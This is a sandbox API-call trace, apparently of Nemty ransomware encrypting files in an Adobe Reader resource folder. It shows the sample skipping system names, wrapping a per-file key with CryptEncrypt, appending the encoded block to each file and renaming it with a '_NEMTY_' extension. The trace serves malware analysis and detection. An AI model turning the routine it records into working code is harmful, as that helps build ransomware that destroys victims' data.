HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_YE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_YE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.880] Sleep (dwMilliseconds=0x5) [0214.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b87ff0, dwHighDateTime=0x1d561e8)) [0214.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b87ff0, dwHighDateTime=0x1d561e8)) [0214.888] GetLastError () returned 0x0 [0214.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.888] GetLastError () returned 0x0 [0214.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.888] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.888] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.888] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.888] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.888] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="V6z6qSbqY19RWmWlzBcx1cyjiNk1ReGo5lmf11LFOVKD5hdN9UCCfvFCQnc25trg\r\n5yhsv8BL8II4HBgShBc2h/aT4zyMc3mR3BUy64lLpmxOgopWTIw6u8p6RJrblBhY\r\nGytmzCfmY2GqvlrHwLCAAKSRN1NhV5DaqNnU+tUycblDAGhRvd9DaEz+gfyPKogT\r\nxbs1bzL8V5Kv8I0t2R0tl/6fqBqd0FdzQfhXSm5jxT5u8UO4UXf/NJcbj0umoBHU\r\nsAxB/azq80rf1/GdQ7E+bexBU8rCenH2t8MR5kSQL9n/X8rTIXwTJ8FSVqXOjPQX\r\nOJCIh3pyonKe5DRuGKG7Kg==\r\n", pcchString=0x653e5dc) returned 1 [0214.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.889] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.889] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.889] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.893] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.893] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.893] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.893] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.893] CloseHandle (hObject=0x2e8) returned 1 [0214.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.893] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.893] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt._nemty_kgobjgd_")) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.894] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.894] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.bg.txt", cAlternateFileName="DI8E5A~1.TXT")) returned 1 [0214.894] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2=".") returned 1 [0214.894] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="..") returned 1 [0214.894] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="...") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="windows") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="rsa") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="NTDETECT.COM") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="ntldr") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="MSDOS.SYS") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="IO.SYS") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="boot.ini") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="boot.ini") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="ntuser.dat") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="desktop.ini") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="CONFIG.SYS") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="RECYCLER") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="bootmgr") returned 1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="programdata") returned -1 [0214.895] lstrcmpiW (lpString1="DisplayLanguageNames.bg.txt", lpString2="appdata") returned 1 [0214.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg.txt", lpUsedDefaultChar=0x0) returned 27 [0214.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg.txt", lpUsedDefaultChar=0x0) returned 27 [0214.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg.txt", lpUsedDefaultChar=0x0) returned 27 [0214.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0214.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.bg.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.bg.txt", lpUsedDefaultChar=0x0) returned 27 [0214.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.896] Sleep (dwMilliseconds=0x5) [0214.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33bae150, dwHighDateTime=0x1d561e8)) [0214.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33bae150, dwHighDateTime=0x1d561e8)) [0214.903] GetLastError () returned 0x0 [0214.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.903] GetLastError () returned 0x0 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.904] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.904] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="taZGNis6s6YeY1ICsHU8kT9Qf4LiV+rI/+6q4JoFakeWVEIs7De8HeVwGNcPFp3A\r\n8wcUfB/RWg2bqEsqC/rbLFopfwHvqWfCNpETfaGCaNdtVauQLNYUSYAhzw2aShXS\r\n7VC5ERsHGxktP4IEnlv7Mj6qvcWmTQlT4DzWdtVYHQhD75/tH9HkNvxU0K46lpLV\r\nDBw/zOW+oATBR956/6vATwJmntArzfAsc3P9hdl97PNMpLezASOSf+dQYPX1SQuK\r\n46eKeQypGTNMOiNwq+3HgFijXvqZmpqMyIOQYJjBwfnUFAMBI6UpsTpXiaNWeygi\r\na/HXN8rh5peB5pvc6ZrRKg==\r\n", pcchString=0x653e5dc) returned 1 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.905] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27870) returned 1 [0214.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6cd0) returned 0x6352c48 [0214.905] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.905] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6cd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.909] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cde [0214.909] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.909] CloseHandle (hObject=0x2e8) returned 1 [0214.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.910] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt._nemty_kgobjgd_")) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.911] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 